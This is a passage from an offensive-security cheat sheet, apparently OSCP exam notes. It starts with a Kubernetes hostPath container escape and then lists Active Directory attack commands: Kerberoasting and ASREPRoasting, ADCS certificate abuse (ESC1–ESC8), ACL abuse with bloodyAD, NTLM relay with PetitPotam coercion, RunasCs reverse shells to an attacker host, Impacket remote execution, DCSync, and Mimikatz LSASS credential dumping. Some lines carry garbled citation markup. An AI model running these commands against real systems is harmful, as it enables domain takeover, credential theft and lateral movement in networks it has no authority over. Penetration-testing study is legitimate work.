--server=https://kubernetes.default auth can-i --list
# Mount host path via pod spec
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata: {name: escape}
spec:
containers:
- name: escape
image: alpine
command: ["/bin/sh","-c","chroot /mnt sh"]
volumeMounts:
- mountPath: /mnt
name: host
volumes:
- name: host
hostPath: {path: /}
hostPID: true
hostNetwork: true
EOF
Active Directory AD
Initial Enum (no creds)
# Username spray from null session
crackmapexec smb $RHOST -u '' -p ''
enum4linux-ng -A $RHOST
# RID brute
crackmapexec smb $RHOST -u guest -p '' --rid-brute
# Kerbrute - user enum
kerbrute userenum -d domain.local users.txt --dc $RHOST
ASREPRoast
impacket-GetNPUsers domain.local/ -dc-ip $RHOST -usersfile users.txt -no-pass -format hashcat -outputfile asrep.hash
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
With Creds
# Validate creds & check pwnage
crackmapexec smb $RHOST -u user -p pass
crackmapexec winrm $RHOST -u user -p pass
# BloodHound collection
bloodhound-python -u user -p pass -d domain.local -ns $RHOST -c All
# Kerberoast
impacket-GetUserSPNs domain.local/user:pass -dc-ip $RHOST -request
hashcat -m 13100 spn.hash rockyou.txt
# DCSync (if rights)
impacket-secretsdump domain.local/user:pass@$RHOST
AD Attack Path β Mindset
Think of AD as a graph, not a list of exploits: identify your current principal, enumerate relationships, find a viable path to higher privilege, move, then re-enumerate from the new identity.
WHO AM I β WHAT DO I CONTROL β WHAT DOES IT CONTROL β WHAT PRIVILEGE DOES IT HAVE β MOVE β ENUMERATE AGAIN
# Typical OSCP-style attack path
Initial Foothold
β
Identify user / domain / DC / host
β
Enumerate users, groups, computers, sessions, shares
β
Collect AD relationships
β
Build attack graph
β
Find shortest viable path
β
Credentials / ACL abuse / group abuse / Kerberos / ADCS / lateral movement
β
Higher-privileged user
β
RE-ENUMERATE as the new user
β
Repeat until Domain Admin / exam objective
1. Establish Your Starting Position
# Windows foothold
whoami
whoami /all
hostname
ipconfig /all
systeminfo
# Domain / DC discovery
nltest /dclist:DOMAIN.LOCAL
nltest /domain_trusts
# Basic users / groups
net user
net user USER /domain
net group /domain
net group "Domain Admins" /domain
2. Build the AD Graph
The goal is to turn raw enumeration into relationships. Useful edges include MemberOf, AdminTo, CanRDP, CanPSRemote, ExecuteDCOM, GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, AddMember, and delegation relationships.
# Linux collector β existing creds
bloodhound-python -u USER -p PASS -d DOMAIN.LOCAL -ns $RHOST -c All --zip
# Existing notes also contain a BloodHound collection command:
bloodhound-python -u user -p pass -d domain.local -ns $RHOST -c All
3. Read the Attack Path
# Example mental graph
CORP\Bob
β
βββ MemberOf
β
Helpdesk
β
βββ GenericAll
β
CORP\Alice
β
βββ MemberOf
β
IT Admins
β
βββ AdminTo
β
FILE01
# Translate the graph:
Bob β controls Alice β Alice has privileged group membership
β privileged group administers FILE01 β viable lateral path
# High-value relationship checklist
MemberOf β follow group nesting
GenericAll β full object control; inspect safe abuse options
GenericWrite β object attribute modification
WriteDACL β can modify permissions/ACLs
WriteOwner β can change object ownership
ForceChangePassword β can reset a target user's password
AddMember β can add a principal to a group
AdminTo β administrative access to a computer
CanRDP β RDP access
CanPSRemote β PowerShell remoting access
HasSession β potential credential/session pivot
AllowedToDelegate β investigate delegation path
4. Attack-Path Decision Tree
Credential path
Foothold
β
Credential / secret
β
Other user
β
New privileges
β
Repeat
Group path
User
β
MemberOf
β
Interesting group
β
Delegated privilege
β
Privileged group
β
Admin access
ACL path
User
β
GenericAll / WriteDACL / WriteOwner
β
Target object
β
Privilege change
β
Higher-privileged identity
Machine path
User
β
AdminTo / CanRDP / CanPSRemote
β
Target host
β
Re-enumerate
β
Credential / session discovery
5. Re-Enumerate After Every Identity Change
whoami /all, group enumeration, session/access checks, and BloodHound collection where appropriate.
# New identity = new starting node
whoami /all
net user NEWUSER /domain
net group /domain
net group "Domain Admins" /domain
# Then ask:
# 1. What groups am I in?
# 2. What machines can I administer/access?
# 3. What objects can I modify?
# 4. Are there sessions/credentials/secrets worth investigating?
# 5. Is there a shorter path to the objective?
6. AD Attack-Path Triage
| Finding | Question to Ask | Next Move |
|---|---|---|
| Credential / hash | Which identity does it belong to? | Validate access, then re-map privileges |
| MemberOf | Does the group grant useful rights? | Follow nested groups and delegated permissions |
| GenericAll / GenericWrite | Which object is controllable? | Inspect object-specific abuse path |
| WriteDACL / WriteOwner | Can permissions be changed? | Inspect resulting privilege path |
| AdminTo | What is on the target host? | Move laterally, then enumerate locally |
| Kerberoast / ASREPRoast | Can the recovered secret authenticate as a useful identity? | Validate the identity and rebuild the graph |
| ADCS / ESC | Does a vulnerable template/CA create a privileged auth path? | Enumerate with Certipy and follow the identified ESC path |
| LAPS | Which computer's local admin password is readable? | Use the access to expand the machine graph |
7. OSCP AD Workflow β Memorize This
1. FOOTHOLD
ββ whoami /all β hostname β network β domain/DC
2. ENUM
ββ users β groups β computers β shares β sessions β credentials
3. COLLECT
ββ BloodHound / LDAP / SMB / Kerberos / ADCS
4. MAP
ββ current user β relationships β target β privilege
5. PICK PATH
ββ choose the shortest viable route, not the most complicated exploit
6. MOVE
ββ authenticate to the next host/user using the access you legitimately obtained
7. RE-ENUM
ββ new identity = new graph
8. ESCALATE
ββ repeat until DA / exam objective
Golden rule:
Don't ask "What exploit can I run?"
Ask "What relationship gives my current identity control over the next node?"
Movement
# PsExec / wmiexec / smbexec
impacket-psexec domain/user:pass@$RHOST
impacket-wmiexec domain/user:pass@$RHOST
impacket-smbexec domain/user:pass@$RHOST
# Pass-the-Hash
impacket-psexec -hashes :NTHASH user@$RHOST
crackmapexec smb $RHOST -u user -H NTHASH
# Evil-WinRM
evil-winrm -i $RHOST -u user -p pass
evil-winrm -i $RHOST -u user -H NTHASH
Common Misconfigs
- GenericAll / GenericWrite / WriteDACL β reset password, add SPN, etc.
- Constrained / Unconstrained delegation
- ADCS (ESC1-ESC8) β certipy
- Group nesting β DA via service account
- LAPS readable for some groups
- SMB signing disabled β ntlmrelayx
Kerberoasting AD
OSCP mindset: Kerberoasting is an authenticated attack against user accounts that have Service Principal Names (SPNs). Enumerate SPNs, identify worthwhile service accounts, request TGS tickets, then perform offline password auditing. A normal domain account is typically enough to request a service ticket; the value comes from whether the service account password is weak and whether that account has useful privileges.
Attack Path
# Mental model
Valid domain user
|
+-- LDAP: find user accounts with SPNs
|
+-- Request TGS for target SPN
|
+-- Save Kerberos TGS hash
|
+-- Offline password audit / cracking
|
+-- Re-validate recovered credential
|
+-- Re-enumerate groups, ACLs, sessions and host access
|
+-- Continue the AD attack path
What to Look For
- SPN on a user account β this makes the account a Kerberoasting candidate.
- Service accounts such as SQL, IIS, backup, monitoring, or application accounts.
- Password age / password hygiene β old or human-managed service-account passwords can be especially interesting.
- Privilege of the target account β a cracked service account is more valuable if it has administrative rights or useful group membership.
- Delegation relationships β after obtaining a service account, re-check delegation and BloodHound paths.
NetExec β Enumerate & Roast
# Enumerate / request TGS hashes
netexec ldap $DC -d DOMAIN -u USER -p 'PASS' --kerberoasting kerberoast.txt
# Target specific accounts when you already identified them
netexec ldap $DC -d DOMAIN -u USER -p 'PASS' --kerberoast-account svc_sql svc_backup
# List LDAP options relevant to roasting
netexec ldap -h | grep -Ei 'kerberoast|spn|asrep'
Current NetExec LDAP syntax exposes --kerberoasting for writing TGS material to a file and --kerberoast-account for targeting specific accounts. ξciteξturn0search7ξturn0search8ξ
Impacket β GetUserSPNs
# Enumerate SPNs without requesting tickets
impacket-GetUserSPNs DOMAIN/USER:'PASS' -dc-ip $DC
# Request TGS hashes for discovered SPN accounts
impacket-GetUserSPNs DOMAIN/USER:'PASS' -dc-ip $DC -request -outputfile kerberoast.txt
# Target one account
impacket-GetUserSPNs DOMAIN/USER:'PASS' -dc-ip $DC -request-user svc_sql -outputfile svc_sql.txt
# Authenticate with an NT hash
impacket-GetUserSPNs DOMAIN/USER -hashes :NTHASH -dc-ip $DC -request -outputfile kerberoast.txt
The Impacket workflow is: enumerate SPNs β request TGS β save the hash β crack/audit offline. ξciteξturn0search0ξturn0search3ξ
Rubeus β Windows
# Roast all discovered SPN accounts
.\Rubeus.exe kerberoast /nowrap
# Write hashes to a file
.\Rubeus.exe kerberoast /outfile:C:\Temp\kerberoast.txt /nowrap
# Target a specific account
.\Rubeus.exe kerberoast /user:svc_sql /nowrap
Hash Identification & Offline Cracking
# Common RC4-HMAC Kerberoast format
$krb5tgs$23$...
# Hashcat β RC4-HMAC TGS
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
# Keep cracking OFFLINE; do not repeatedly spray guesses at the domain
Hashcat mode 13100 is commonly used for RC4-HMAC Kerberos TGS hashes. Modern environments can also produce AES-encrypted tickets, so identify the actual hash format before selecting a cracking mode. ξciteξturn0search1ξturn0search3ξ
After You Crack a Service Account
# 1. Validate the credential
netexec smb $DC -d DOMAIN -u svc_sql -p 'CRACKED_PASS'
# 2. Find where the account is useful
netexec smb 10.10.10.0/24 -d DOMAIN -u svc_sql -p 'CRACKED_PASS'
# 3. Re-enumerate the account
netexec ldap $DC -d DOMAIN -u svc_sql -p 'CRACKED_PASS' --users --groups
netexec ldap $DC -d DOMAIN -u svc_sql -p 'CRACKED_PASS' --find-delegation --admin-count
# 4. Rebuild the BloodHound path with the new identity
netexec ldap $DC -d DOMAIN -u svc_sql -p 'CRACKED_PASS' --bloodhound --collection All
Kerberoast Triage
| Finding | Priority | Next Move |
|---|---|---|
| SPN exists on normal user | β | Request TGS and audit password strength offline. |
| Service account has old / weak password hygiene | π₯ | Prioritize offline cracking in the lab. |
| Service account is member of privileged group | π₯π₯ | Check the account's full BloodHound / ACL path. |
| Recovered credential works on multiple hosts | π₯ | Map lateral movement opportunities and re-enumerate. |
| Recovered account has delegation / ACL rights | π₯π₯ | Follow the relationship as a new attack-path node. |
OSCP Quick Checklist
[ ] I have valid domain credentials
[ ] I know the DC / domain name
[ ] Enumerate SPNs
[ ] Identify interesting service accounts
[ ] Request TGS hashes
[ ] Save hashes for offline auditing
[ ] Identify hash format before cracking
[ ] Re-validate any recovered password
[ ] Check groups / ACLs / delegation / host access
[ ] Update BloodHound attack path
[ ] Re-enumerate after every identity change
AD Certificate Services (ADCS) AD
Tool: ly4k/Certipy (Linux) Β· GhostPack/Certify (Windows). Run find first, identify ESC number, then exploit.
Enumerate Vulnerable Templates
# From Linux
certipy-ad find -u 'USER@DOMAIN' -p 'PASS' -dc-ip $RHOST
certipy-ad find -u 'USER@DOMAIN' -p 'PASS' -dc-ip $RHOST -vulnerable -stdout
# From Windows
.\Certify.exe find /vulnerable
.\Certify.exe find /vulnerable /currentuser
ESC1 β Misconfigured Template (SAN)
# Request cert as Administrator by setting UPN in SAN
certipy-ad req -ca '<CA>' -username 'USER@DOMAIN' -password 'PASS' -target '<CA>' \
-template '<TEMPLATE>' -upn 'Administrator@DOMAIN' -dns $RHOST
certipy-ad auth -pfx Administrator.pfx -dc-ip $RHOST
ESC2 β Any Purpose EKU
certipy-ad req -ca '<CA>' -username 'USER@DOMAIN' -password 'PASS' -target '<CA>' -template '<TEMPLATE>'
certipy-ad req -ca '<CA>' -username 'USER@DOMAIN' -password 'PASS' -target '<CA>' \
-template User -on-behalf-of 'DOMAIN\Administrator' -pfx USER.pfx
certipy-ad auth -pfx Administrator.pfx -dc-ip $RHOST
ESC4 β Writable Template ACL
# Save old template config, then overwrite to ESC1-like
certipy-ad template -username 'USER@DOMAIN' -password 'PASS' -template '<TEMPLATE>' -save-old
certipy-ad req -ca '<CA>' -username 'USER@DOMAIN' -password 'PASS' -target $RHOST \
-template '<TEMPLATE>' -upn 'Administrator@DOMAIN'
certipy-ad auth -pfx Administrator.pfx -dc-ip $RHOST
# Restore template:
certipy-ad template -username 'USER@DOMAIN' -password 'PASS' -template '<TEMPLATE>' -configuration <TEMPLATE>.json
ESC6 β EDITF_ATTRIBUTESUBJECTALTNAME2
certipy-ad req -ca '<CA>' -username 'USER@DOMAIN' -password 'PASS' -target '<CA>' -template User -upn 'Administrator@DOMAIN'
certipy-ad auth -pfx Administrator.pfx -dc-ip $RHOST
ESC7 β Vulnerable CA ACL
certipy-ad ca -ca '<CA>' -add-officer 'USER' -username 'USER@DOMAIN' -password 'PASS'
certipy-ad ca -ca '<CA>' -enable-template SubCA -username 'USER@DOMAIN' -password 'PASS'
certipy-ad req -ca '<CA>' -username 'USER@DOMAIN' -password 'PASS' -target '<CA>' -template SubCA -upn 'Administrator@DOMAIN'
certipy-ad ca -ca '<CA>' -issue-request <ID> -username 'USER@DOMAIN' -password 'PASS'
certipy-ad req -ca '<CA>' -username 'USER@DOMAIN' -password 'PASS' -target '<CA>' -retrieve <ID>
certipy-ad auth -pfx Administrator.pfx -dc-ip $RHOST
ESC8 β NTLM Relay to HTTP Endpoint
# Relay attack (needs SMB signing disabled)
impacket-ntlmrelayx -t http://$RHOST/certsrv/certfnsh.asp -smb2support --adcs --template <TEMPLATE>
python3 PetitPotam.py $RHOST DOMAIN
# Extract hash from obtained cert
python3 gettgtpkinit.py -pfx-base64 $(cat base64.b64) 'DOMAIN'/'$RHOST' 'dc.ccache'
export KRB5CCNAME=dc.ccache
impacket-secretsdump -k -no-pass DOMAIN/$RHOST@DOMAIN
# Or certipy relay
certipy-ad relay -target 'http://<CA>' -ca '<CA>' -template '<TEMPLATE>'
certipy-ad auth -pfx dc.pfx -dc-ip $RHOST
Certipy Auth β LDAP Shell
# Use cert to authenticate and get an interactive LDAP shell
certipy-ad auth -u 'USER' -pfx <FILE>.pfx -dc-ip $RHOST -domain 'DOMAIN' -ldap-shell
# Inside ldap-shell:
add_user newadmin
add_user_to_group newadmin "Domain Admins"
AD Tools: bloodyAD Β· Rubeus Β· RunasCs Β· Kerberos AD
bloodyAD
Repo: CravateRouge/bloodyAD β LDAP-based AD manipulation. Use -s for LDAPS (port 636) when plain LDAP fails.
# Enumerate
bloodyAD --host $RHOST -d DOMAIN -u USER -p PASS get children 'DC=domain,DC=local' --type user
bloodyAD --host $RHOST -d DOMAIN -u USER -p PASS get children 'DC=domain,DC=local' --type computer
bloodyAD --host $RHOST -d DOMAIN -u USER -p PASS get object Users --attr member
bloodyAD --host $RHOST -d DOMAIN -u USER -p PASS get dnsDump
bloodyAD --host $RHOST -d DOMAIN -u USER -p PASS get object 'USER' --attr userAccountControl
bloodyAD --host $RHOST -d DOMAIN -u USER -p PASS get object 'COMPUTER$' --attr ms-Mcs-AdmPwd # LAPS
# Abuse GenericAll/GenericWrite β reset password
bloodyAD --host $RHOST -d DOMAIN -u USER -p PASS set password 'TARGET_USER' 'NewPass123!'
# LDAPS version:
bloodyAD -s --host $RHOST -d DOMAIN -u USER -p PASS set password 'TARGET_USER' 'NewPass123!'
# Add to group
bloodyAD --host $RHOST -d DOMAIN -u USER -p PASS add groupMember 'Domain Admins' 'USER'
# Add computer object (MAQ abuse)
bloodyAD --host $RHOST --dc-ip $RHOST -d DOMAIN -u USER -p PASS add computer 'EVILPC' 'Pass123!'
# Set SPN (for Kerberoast)
bloodyAD --host $RHOST -d DOMAIN -u USER -p PASS set object 'USER' servicePrincipalName -v 'cifs/fake'
# Enable DONT_REQ_PREAUTH (for ASREPRoast)
bloodyAD --host $RHOST -d DOMAIN -u USER -p PASS add uac 'USER' DONT_REQ_PREAUTH
# Disable ACCOUNTDISABLE (enable locked account)
bloodyAD --host $RHOST -d DOMAIN -u USER -p PASS remove uac 'USER' ACCOUNTDISABLE
# Kerberos auth
bloodyAD --host $RHOST --dc-ip $RHOST -d DOMAIN -k get object 'COMPUTER$' --attr msDS-ManagedPassword
Rubeus (Windows)
Repo: GhostPack/Rubeus β Kerberos toolkit for Windows. Run from shell on a domain-joined machine.
# Dump all tickets
.\Rubeus.exe dump /nowrap
# ASREPRoast
.\Rubeus.exe asreproast /nowrap
.\Rubeus.exe asreproast /outfile:hashes.asreproast
# Kerberoast
.\Rubeus.exe kerberoast /nowrap
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:USER /nowrap
# Overpass-the-Hash (NTLM β TGT)
.\Rubeus.exe asktgt /user:USER /ntlm:<HASH> /nowrap /ptt
# Pass-the-Ticket
.\Rubeus.exe ptt /ticket:<BASE64>
# Request delegation ticket (for unconstrained deleg)
.\Rubeus.exe tgtdeleg /nowrap
# S4U (constrained delegation abuse)
.\Rubeus.exe s4u /user:SVC /rc4:<HASH> /impersonateuser:Administrator /msdsspn:cifs/server /ptt
# Get TGT with cert (ADCS auth)
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /getcredentials /nowrap
Kerberos Ticket Handling (Linux)
# Get TGT
impacket-getTGT DOMAIN/USER:'PASS'
export KRB5CCNAME=USER.ccache
# Convert kirbi β ccache
base64 -d USER.kirbi.b64 > USER.kirbi
impacket-ticketConverter USER.kirbi USER.ccache
impacket-ticketConverter USER.ccache USER.kirbi
# Use ticket with tools
KRB5CCNAME=USER.ccache impacket-psexec -k -no-pass DOMAIN/Administrator@$RHOST
KRB5CCNAME=USER.ccache impacket-secretsdump -k -no-pass DOMAIN/$RHOST@DOMAIN
# Kerberos config file (if DNS not auto-configured)
# /etc/krb5.conf:
# [libdefaults] default_realm = DOMAIN.LOCAL
# [realms] DOMAIN.LOCAL = { kdc = $RHOST }
RunasCs (Windows)
Repo: antonioCoco/RunasCs β run commands as another user without interactive logon. Great for lateral movement with creds.
.\RunasCs.exe USER PASS cmd.exe -r $LHOST:$LPORT
.\RunasCs.exe USER PASS cmd.exe -r $LHOST:$LPORT --bypass-uac
.\RunasCs.exe USER PASS cmd.exe -r $LHOST:$LPORT --bypass-uac -l 5 -b
.\RunasCs.exe -d DOMAIN "USER" 'PASS' cmd.exe -r $LHOST:$LPORT
.\RunasCs.exe -l 3 -d DOMAIN "USER" 'PASS' 'C:\Temp\shell.exe'
rpcclient
rpcclient -U "" $RHOST # null session
rpcclient -U "USER%PASS" $RHOST
# Useful commands inside rpcclient
enumdomusers # list users
enumdomgroups # list groups
queryuser USER # user info
querygroup <GROUP>
enumprinters
lsaquery # domain SIDs
lsaenumsid <SID>
lookupsids <SID>
netshareenumall # shares
Shadow Credentials Attack
Requires GenericWrite/GenericAll on target. Abuses msDS-KeyCredentialLink to obtain NTLM without knowing password.
# Tool: https://github.com/ShutdownRepo/pywhisker
python3 pywhisker.py -d 'DOMAIN' -u 'USER' -p 'PASS' --target 'TARGET' --action 'list'
python3 pywhisker.py -d 'DOMAIN' -u 'USER' -p 'PASS' --target 'TARGET' --action 'add' --filename TARGET
# Get TGT from cert
python3 gettgtpkinit.py DOMAIN/TARGET -cert-pfx TARGET.pfx -pfx-pass 'PASS' TARGET.ccache
export KRB5CCNAME=TARGET.ccache
# Get NT hash from TGT
python3 getnthash.py DOMAIN/TARGET -key <KEY>
# Then PTH or evil-winrm as normal
NoPac (CVE-2021-42287)
# Impersonate DA via sAMAccountName spoofing
# https://github.com/Ridter/noPac
python3 noPac.py 'DOMAIN'/'USER':'PASS' -dc-ip $RHOST -shell --impersonate 'Administrator' -use-ldap
BloodHound AD
Repo: BloodHoundAD/BloodHound (GUI, needs Neo4j) Β· BloodHound.py (Linux collector, no agent needed) Β· BloodHound CE (Docker-based, current version).
Data Collection β Linux (bloodhound-python)
# No need to drop anything on target hosts
bloodhound-python -u USER -p PASS -d domain.local -ns $RHOST -c All --zip
# Kerberos auth (ccache) instead of password
export KRB5CCNAME=USER.ccache
bloodhound-python -u USER -d domain.local -ns $RHOST -k --no-pass -c All
# Common collection methods: Default, Group, LocalAdmin, Session, Trusts, ACL, All
SharpHound (Windows)
Repo: BloodHoundAD/SharpHound β official Windows collector, run from a shell on a domain-joined box or via C2/beacon.
# Full collection, zipped output
.\SharpHound.exe -c All --zipfilename loot.zip
# PowerShell module version
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp
# OPSEC-safer collection β skips noisy/high-signature methods
.\SharpHound.exe -c DCOnly # pull most data straight from a DC via LDAP, no host touches
.\SharpHound.exe -c Group,ACL,Trusts,ObjectProps --stealth
# Exclude domain controllers from session/localadmin enum (avoid tripping DC-side detections)
.\SharpHound.exe -c Session,LocalAdmin --ExcludeDCs
# Limit to a specific OU / domain (large environments, avoid scanning everything)
.\SharpHound.exe -c All --domain child.domain.local --searchbase "OU=Servers,DC=domain,DC=local"
# Throttle + jitter to blend in with normal traffic
.\SharpHound.exe -c All --throttle 2000 --jitter 30
# Password-protect the output zip before exfil
.\SharpHound.exe -c All --zipfilename loot.zip --encryptzip
BloodHound CE Setup (Docker)
# Quickest way to stand up the current BloodHound CE stack
curl -L https://ghst.ly/getbhce -o docker-compose.yml
docker compose up -d
# check initial admin password: docker compose logs bloodhound | grep -i password
Useful Cypher Queries
# Shortest path to Domain Admins from any owned/marked user
MATCH p=shortestPath((n)-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})) RETURN p
# All Kerberoastable users
MATCH (u:User {hasspn:true}) RETURN u.name
# Find computers where a marked-owned user has admin rights
MATCH (u:User {owned:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name
# Unconstrained delegation hosts (juicy for ticket theft)
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
Workflow Tips
- Mark your compromised principal as "Owned" first β most path-finding queries start from there
- Use the built-in "Analysis" tab queries before writing custom Cypher β covers 90% of common paths
- Cross-check "Shortest Paths to Domain Admins" AND "Shortest Paths from Owned Objects" β they surface different routes
- Re-run collection after any lateral move β new sessions/local-admin edges appear as you compromise more hosts
NTLM Relay
Requires SMB signing disabled on target. Check first β relay to a host that has signing enabled does nothing.
Check SMB Signing
# Check if SMB signing is disabled (required for relay)
netexec smb 10.10.10.0/24 --gen-relay-list targets.txt
nmap --script smb-security-mode -p445 10.10.10.0/24
nmap --script smb2-security-mode -p445 10.10.10.0/24
Responder + ntlmrelayx (Standard)
# Step 1: Disable SMB and HTTP in Responder so ntlmrelayx handles them
# Edit /etc/responder/Responder.conf:
# SMB = Off
# HTTP = Off
sudo responder -I eth0 -rdw
# Step 2: ntlmrelayx β relay to target, dump SAM
impacket-ntlmrelayx -tf targets.txt -smb2support
impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"
impacket-ntlmrelayx -tf targets.txt -smb2support -c "powershell -enc <B64>"
# Relay to single target
impacket-ntlmrelayx -t smb://$RHOST -smb2support
impacket-ntlmrelayx -t smb://$RHOST -smb2support --no-http-server
# Relay to LDAP (add computer, dump info)
impacket-ntlmrelayx -t ldap://$RHOST -smb2support --no-dump --no-da --no-acl
impacket-ntlmrelayx -t ldaps://$RHOST -smb2support --add-computer EVILPC EvilPass123!
# Relay to MSSQL β execute commands
impacket-ntlmrelayx -t mssql://$RHOST -smb2support -q "SELECT SYSTEM_USER"
Interactive Shell via -i Flag
# Opens a local interactive SMB shell on 127.0.0.1:11000
impacket-ntlmrelayx -tf targets.txt -smb2support -i
# Connect to it in a second terminal
nc 127.0.0.1 11000
# Inside the SMB shell (filesystem commands only β NOT a system shell)
shares # list shares
use C$ # connect to C$
ls # list files
get file.txt # download file
put shell.exe # upload file
Trigger Authentication (force a connection)
# PetitPotam β coerce DC to auth to you (CVE-2021-36942)
python3 PetitPotam.py $LHOST $RHOST
python3 PetitPotam.py -u USER -p PASS $LHOST $RHOST # authenticated
# PrinterBug / SpoolSample
python3 printerbug.py DOMAIN/USER:PASS@$RHOST $LHOST
# From Windows β trigger via UNC path
dir \\$LHOST\share
Relay to ADCS (ESC8) β Get Certificate
# Relay incoming auth to AD CS HTTP enrollment endpoint
impacket-ntlmrelayx -t http://CA-SERVER/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Coerce DC auth with PetitPotam while relay is running
python3 PetitPotam.py $LHOST DC-IP
# ntlmrelayx outputs base64 cert β save it, then get TGT
certipy-ad auth -pfx dc.pfx -dc-ip $RHOST
MultiRelay (Responder built-in)
# Alternative β Responder's own relay tool
python3 /usr/share/responder/tools/MultiRelay.py -t $RHOST -u ALL
Impacket Cheatsheet
Repo: fortra/impacket β all tools take DOMAIN/user:pass@target or -hashes :NTHASH
Remote Execution
# psexec β drops a service binary, needs admin, gets SYSTEM
impacket-psexec DOMAIN/USER:PASS@$RHOST
impacket-psexec DOMAIN/USER@$RHOST -hashes :NTHASH
impacket-psexec -no-pass -k DOMAIN/USER@$RHOST # Kerberos ticket
# smbexec β no binary drop, uses cmd via service, slower
impacket-smbexec DOMAIN/USER:PASS@$RHOST
impacket-smbexec DOMAIN/USER@$RHOST -hashes :NTHASH
# wmiexec β WMI, no service install, semi-interactive
impacket-wmiexec DOMAIN/USER:PASS@$RHOST
impacket-wmiexec DOMAIN/USER@$RHOST -hashes :NTHASH
impacket-wmiexec DOMAIN/USER:PASS@$RHOST -shell-type powershell
# atexec β execute via Task Scheduler
impacket-atexec DOMAIN/USER:PASS@$RHOST "whoami"
# dcomexec β DCOM execution (MMC20, ShellWindows, ShellBrowserWindow)
impacket-dcomexec DOMAIN/USER:PASS@$RHOST whoami -object MMC20
Hash & Secret Dumping
# secretsdump β the Swiss army knife
impacket-secretsdump DOMAIN/USER:PASS@$RHOST
impacket-secretsdump DOMAIN/USER@$RHOST -hashes :NTHASH
impacket-secretsdump -just-dc DOMAIN/USER:PASS@$RHOST # DCSync only
impacket-secretsdump -just-dc-ntlm DOMAIN/USER:PASS@$RHOST # NTLM hashes only
impacket-secretsdump -just-dc-user krbtgt DOMAIN/USER:PASS@$RHOST
# From offline SAM/SYSTEM/SECURITY files
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
# From NTDS.dit
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
Kerberos
# GetNPUsers β ASREPRoast (no pre-auth required users)
impacket-GetNPUsers DOMAIN/ -dc-ip $RHOST -usersfile users.txt -no-pass -format hashcat
impacket-GetNPUsers DOMAIN/USER:PASS -dc-ip $RHOST -request -format hashcat
# GetUserSPNs β Kerberoast
impacket-GetUserSPNs DOMAIN/USER:PASS -dc-ip $RHOST -request
impacket-GetUserSPNs DOMAIN/USER:PASS -dc-ip $RHOST -request -outputfile spns.hash
# getTGT β get a TGT ticket
impacket-getTGT DOMAIN/USER:PASS
impacket-getTGT DOMAIN/USER -hashes :NTHASH
export KRB5CCNAME=USER.ccache
# ticketConverter β kirbi β ccache
impacket-ticketConverter USER.kirbi USER.ccache
impacket-ticketConverter USER.ccache USER.kirbi
# getST β S4U (service ticket for impersonation)
impacket-getST DOMAIN/SVC:PASS -spn cifs/$RHOST -impersonate Administrator
SMB / File Operations
# smbclient.py β interactive SMB shell
impacket-smbclient DOMAIN/USER:PASS@$RHOST
impacket-smbclient DOMAIN/USER@$RHOST -hashes :NTHASH
# Inside: shares / use C$ / ls / get file / put file / cd dir
# smbserver β host a share (for payload delivery / exfil)
impacket-smbserver share . -smb2support
impacket-smbserver share . -smb2support -user u -password p
# reg.py β remote registry
impacket-reg DOMAIN/USER:PASS@$RHOST query -keyName "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
LDAP / AD
# lookupsid β RID brute force (user/group enum, no creds needed on some boxes)
impacket-lookupsid DOMAIN/USER:PASS@$RHOST
impacket-lookupsid guest@$RHOST # null session
impacket-lookupsid guest:''@$RHOST 20000 # up to RID 20000
# samrdump β enumerate domain users/groups
impacket-samrdump DOMAIN/USER:PASS@$RHOST
# rpcdump β list RPC endpoints
impacket-rpcdump @$RHOST | grep -i "MS-RPRN\|MS-PAR\|ncacn_np" # PrinterBug check
MSSQL
# mssqlclient
impacket-mssqlclient DOMAIN/USER:PASS@$RHOST -windows-auth
impacket-mssqlclient USER:PASS@$RHOST # SQL auth
impacket-mssqlclient DOMAIN/USER@$RHOST -hashes :NTHASH -windows-auth
# Inside mssqlclient:
SQL> xp_cmdshell whoami
SQL> enable_xp_cmdshell
SQL> xp_cmdshell powershell -enc <B64>
Other Useful Tools
# netview β enumerate hosts, sessions, shares in domain
impacket-netview DOMAIN/USER:PASS -target $RHOST
# findDelegation β find delegation configs
impacket-findDelegation DOMAIN/USER:PASS -dc-ip $RHOST
# addcomputer β add computer to domain (MAQ abuse)
impacket-addcomputer DOMAIN/USER:PASS -computer-name EVILPC -computer-pass EvilPass123!
# owneredit + dacledit β DACL abuse
impacket-owneredit -action write -owner USER -target TARGET DOMAIN/USER:PASS -dc-ip $RHOST
impacket-dacledit -action write -rights FullControl -principal USER -target TARGET DOMAIN/USER:PASS -dc-ip $RHOST
# changepasswd
impacket-changepasswd DOMAIN/TARGET:OLDPASS@$RHOST -newpass NewPass123!
Mimikatz
Repo: gentilkiwi/mimikatz β needs SeDebugPrivilege (local admin). Run from elevated prompt or SYSTEM shell.
Setup & Privileges
# Always run these two first
privilege::debug # enable SeDebugPrivilege β must return "Privilege '20' OK"
token::elevate # impersonate SYSTEM token
# Check current context
token::whoami
Credential Dumping
# Dump plaintext passwords + NTLM hashes from LSASS memory
sekurlsa::logonpasswords
# Dump NTLM hashes from SAM
lsadump::sam
lsadump::sam /patch
# Dump domain secrets (needs DA)
lsadump::lsa /patch
lsadump::lsa /inject
# DCSync β pull any user hash without touching DC disk
lsadump::dcsync /domain:DOMAIN /user:krbtgt
lsadump::dcsync /domain:DOMAIN /user:Administrator
lsadump::dcsync /domain:DOMAIN /all /csv # dump everything
# Cached domain credentials (DCC2)
lsadump::cache
# Vault (Windows Credential Manager)
vault::list
vault::cred
Kerberos Tickets
# List tickets in memory
sekurlsa::tickets
kerberos::list
kerberos::list /export # export all tickets as .kirbi files
